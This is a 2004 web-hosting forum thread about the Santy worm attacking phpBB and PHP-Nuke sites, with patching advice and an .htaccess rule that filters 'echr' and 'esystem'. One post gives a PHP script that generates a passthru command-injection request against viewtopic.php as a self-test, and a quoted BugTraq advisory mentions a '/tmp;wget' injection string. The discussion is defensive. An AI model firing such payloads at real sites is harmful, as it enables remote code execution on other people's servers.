PHP Web Host - Quality Web Hosting For All PHP Applications Clan Themes! We make clans look good!!
  Login or Register
 • Home • Downloads • Your Account • Forums • 

View next topic
View previous topic


Google
 
Web RavenPHPScripts (This Site)
Post new topic   Reply to topic
Author Message
blith
Client


Joined: Jul 18, 2003
Posts: 977

PostPosted: Wed Dec 22, 2004 8:14 am Reply with quote Back to top

Thanks...
View user's profile Send private message Visit poster's website
sixonetonoffun
Spouse Contemplates Divorce


Joined: Jan 02, 2003
Posts: 2499

PostPosted: Wed Dec 22, 2004 9:36 am Reply with quote Back to top

phpBB boards running version 2.0.11 aren't vulnerable. Also google filtered the search string already so it shouldn't be "in the wild" anymore.
View user's profile Send private message
blith
Client


Joined: Jul 18, 2003
Posts: 977

PostPosted: Wed Dec 22, 2004 9:45 am Reply with quote Back to top

Thank you. I am so paranoid... who's that?
View user's profile Send private message Visit poster's website
hitwalker
Sells PC To Pay For Divorce


Joined:
Posts: 5661

PostPosted: Wed Dec 22, 2004 10:17 am Reply with quote Back to top

somebody called ?
View user's profile Send private message
sixonetonoffun
Spouse Contemplates Divorce


Joined: Jan 02, 2003
Posts: 2499

PostPosted: Wed Dec 22, 2004 10:50 am Reply with quote Back to top

Also if I understand it the correctly () chars are used in the request and they would be trapped even on a default nuke install.
View user's profile Send private message
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Wed Dec 22, 2004 11:26 am Reply with quote Back to top

I'm running a heavily modified version of 6.9 and I really don't want to upgrade to a 7.x release in order to protect against this worm. I don't which would be worse, cleaning up after the worm or changing my codebase. And I've already cleaned up one phpBB site that I help maintain!
View user's profile Send private message Visit poster's website
sixonetonoffun
Spouse Contemplates Divorce


Joined: Jan 02, 2003
Posts: 2499

PostPosted: Wed Dec 22, 2004 11:39 am Reply with quote Back to top

Are you using Nuke-Sentinel?
If so I think you could enter viewtopic.php as one of the string blockers for some added protection and maybe even NeverEverNoSanity. I'm sure Bob, Raven and others are looking very closely at the specific exploit to see if it can be used against the bbtonuke port. This should work though because viewtopic should always be accessed as file=viewtopic not viewtopic.php
View user's profile Send private message
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Wed Dec 22, 2004 11:46 am Reply with quote Back to top

No, I don't use Nuke-Sentinel but I have taken some preliminary actions to help prevent the exploit... Other than a .htaccess modification, of course.
View user's profile Send private message Visit poster's website
blith
Client


Joined: Jul 18, 2003
Posts: 977

PostPosted: Wed Dec 22, 2004 11:46 am Reply with quote Back to top

sixonetonoffun wrote:
Are you using Nuke-Sentinel?
If so I think you could enter viewtopic.php as one of the string blockers for some added protection and maybe even NeverEverNoSanity. I'm sure Bob, Raven and others are looking very closely at the specific exploit to see if it can be used against the bbtonuke port. This should work though because viewtopic should always be accessed as file=viewtopic not viewtopic.php


What could we put into the string blocker?
View user's profile Send private message Visit poster's website
manunkind
Client


Joined: Apr 26, 2004
Posts: 368
Location: Albuquerque, NM

PostPosted: Thu Dec 23, 2004 7:54 am Reply with quote Back to top

Is it just in viewtopic.php? I ask this because I upgraded a few weeks ago to version 2.0.11 and I looked when I saw that posting and that file still had the old code in it. I replaced the code ASAP but was curious about it because people are saying that version 2.0.11 is already patched.
View user's profile Send private message Visit poster's website
Susann
Moderator


Joined: Dec 19, 2004
Posts: 3143
Location: Germany:Moderator German NukeSentinel Support

PostPosted: Thu Dec 23, 2004 8:00 am Reply with quote Back to top

Maybe its not enough to fix viewtopic.php ?
Today the results for search in goggle.de
"This site is defaced" 343.000 (für) this site is defaced NeverEverNoSanity WebWorm generation 15
View user's profile Send private message Visit poster's website
beetraham
Regular
Regular


Joined: Dec 13, 2003
Posts: 94
Location: Finland (EU)

PostPosted: Thu Dec 23, 2004 8:50 am Reply with quote Back to top

As an additional security measure, please find an example of a *.htaccess* file based security block in the next (to be inserted into $NUKEROOT .htaccess file - for those being influenced by the presence of htaccess);

Code:

Options +SymlinksIfOwnerMatch
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
RewriteRule ^(.*) /


As a result of the above block, the parts of the commands being detected to be used in the worm's attack are filtered off prior to execution.

[please note: this may not be a bulletproof method for you - listed additional measures based on received recommendations from trusted ISP. It seems to be quite generally suspected, that this worm (or better, it's variants) will also use other medias than merely phpBB in the future to perform these sorts of attacks.]

-beetraham


Last edited by beetraham on Thu Dec 23, 2004 10:34 am; edited 2 times in total
View user's profile Send private message Visit poster's website
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Thu Dec 23, 2004 8:54 am Reply with quote Back to top

How did you get so many hits for that search? When I go to google.de and search for the phrase "This site is defaced" I only get around 3,590. Yesterday that number was only 1,520 on google.com.
View user's profile Send private message Visit poster's website
Susann
Moderator


Joined: Dec 19, 2004
Posts: 3143
Location: Germany:Moderator German NukeSentinel Support

PostPosted: Thu Dec 23, 2004 10:40 am Reply with quote Back to top

Only registered users can see links on this board!
Get registered or login to the forums!


or you try: allinurl:viewtopic.php
View user's profile Send private message Visit poster's website
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Thu Dec 23, 2004 10:47 am Reply with quote Back to top

You should place quotes around your search string or just search for NeverEverNoSanity because you are getting a lot of false hits that have nothing to do with the Sanity worm.
View user's profile Send private message Visit poster's website
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Thu Dec 23, 2004 10:49 am Reply with quote Back to top

Oh yeah, the allinurl:viewtopic.php produces a 403. Google shut that search down because of Sanity.
View user's profile Send private message Visit poster's website
brine
New Member
New Member


Joined: Jan 28, 2004
Posts: 10

PostPosted: Thu Dec 23, 2004 10:22 pm Reply with quote Back to top

I guess, sites that did not upgrade are safe far now...

Only registered users can see links on this board!
Get registered or login to the forums!
View user's profile Send private message
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Thu Dec 23, 2004 10:59 pm Reply with quote Back to top

Hopefully, it's a lesson well learned by Google and all.
View user's profile Send private message Visit poster's website
brine
New Member
New Member


Joined: Jan 28, 2004
Posts: 10

PostPosted: Fri Dec 24, 2004 7:06 am Reply with quote Back to top

BohrMe wrote:
Hopefully, it's a lesson well learned by Google and all.


Somehow, I do think it will be.
View user's profile Send private message
sixonetonoffun
Spouse Contemplates Divorce


Joined: Jan 02, 2003
Posts: 2499

PostPosted: Fri Dec 24, 2004 8:36 am Reply with quote Back to top

One of the regulars is seeing a variant that is intended to exploit the phpnuke port at a very disturbing rate approx 25 per hour. Sentinel trapped it but that indicates its getting passed Apache. I tested it on a couple of sites of my own and it throws a 403.

Best thing is to make sure your viewtopic.php is patched regardless of googles response.
View user's profile Send private message
BohrMe
Hangin' Around


Joined: May 01, 2004
Posts: 28
Location: Fall River, MA

PostPosted: Fri Dec 24, 2004 8:42 am Reply with quote Back to top

brine wrote:
Somehow, I do think it will be.


I've met some of the Google guys (namely Rob Pike) and they're sharper than you think.
View user's profile Send private message Visit poster's website
VinDSL
Life Cycles Becoming CPU Cycles


Joined: Jul 11, 2004
Posts: 617
Location: Arizona (USA) Admin: NukeCops.com Admin: Disipal Designs Admin: Lenon.com

PostPosted: Fri Dec 24, 2004 10:42 am Reply with quote Back to top

You can use this script to see if your phpBB is vulnerable...
Code:
<?php
$p='ls -al';
$highlight='passthru($HTTP_GET_VARS[p])';

print "?t=%37&p=";

for ($i=0; $i<strlen($p); ++$i) {
 print '%' . bin2hex(substr($p,$i,1));
}

print "&highlight=%2527.";

for ($i=0; $i<strlen($highlight); ++$i) {
 print '%' . bin2hex(substr($highlight,$i,1));
}

print ".%2527";
?>

Running this script on your web site should generate a request parameter.

All you need to do is copy 'n' paste the result onto:
Code:
http://your-site.com/index.php?name=Forums&file=viewtopic


Example:
Code:
http://your-site.com/index.php?name=Forums&file=viewtopic&?t=%37&p=%6c%73%20...<yada,yada>


As sixonetonoffun said, Nuke should trap it, even on a default install... Wink
View user's profile Send private message Visit poster's website ICQ Number
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 16986
Location: Kansas

PostPosted: Fri Dec 24, 2004 3:54 pm Reply with quote Back to top

NukeSentinel traps it, but if you want tp stop it at the server level, see my post
Only registered users can see links on this board!
Get registered or login to the forums!
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
beetraham
Regular
Regular


Joined: Dec 13, 2003
Posts: 94
Location: Finland (EU)

PostPosted: Sat Dec 25, 2004 7:59 pm Reply with quote Back to top

Just as a heads-up...

Quote:
[http://securityfocus.com/archive/1/385463/2004-12-22/2004-12-28/0]

To: BugTraq
Subject: New Santy-Worm attacks *all* PHP-skripts
Date: Dec 25 2004 5:12PM
Author: Juergen Schmidt <ju heisec de>
Message-ID: <Pine.LNX.4.58.0412251805110.19888@loki.ct.heise.de>

Hello,

the new santy version not only attacks phpBB.

It uses the brasilian Google site to find all kinds of PHP skripts.
It parses their URLs and overwrites variables with strings like:
Only registered users can see links on this board!
Get registered or login to the forums!
/tmp;wget
Only registered users can see links on this board!
Get registered or login to the forums!


Often enough this leads to download and execution of code. On success the worm connects to an IRC server, where already more than 700 zombies are waiting for commands.

View user's profile Send private message Visit poster's website
PHrEEkie
Subject Matter Expert


Joined: Feb 23, 2004
Posts: 358

PostPosted: Sat Dec 25, 2004 9:38 pm Reply with quote Back to top

Ok, now I understand exactly why I haven't had even one attack across an entire server running multiple Nukes and phpBB standalones. Way back when the Brazilian folks started focusing on Nuke vulns, I banned server-wide the entire continent of South America. I would then imagine that the brazilian Google engine has none of my server's content available.

Just luck, I guess... I've had those foos banned for almost 2 years, and now that this concentrated attack is under way, I haven't had even one hit so far. Wish I was this lucky playing the Lottery! Wink

PHrEEk
View user's profile Send private message
Display posts from previous:       
Post new topic   Reply to topic

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Forums ©
 

All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2002-2011 by Raven

You can syndicate our news using the file xml

CSE HTML Validator Helped Clean up This Page! [Valid RSS] valid RSS 2.0 Valid robots.txt Stop Spam Harvesters, Join Project Honey Pot

Website engines core code is © copyright by PHP-Nuke but has been heavily patched and modified by myself and others.
PHP-Nuke is a free software released under the GNU/GPL.


:: fisubice phpbb2 style by Daz :: PHP-Nuke theme by www.nukemods.com ::
:: fisubice Theme Modified by the RavenNuke™ Team ::

:: W3C CSS Compliance Validation :: W3C HTML 4.01 Transitional Compliance Validation ::

zerosum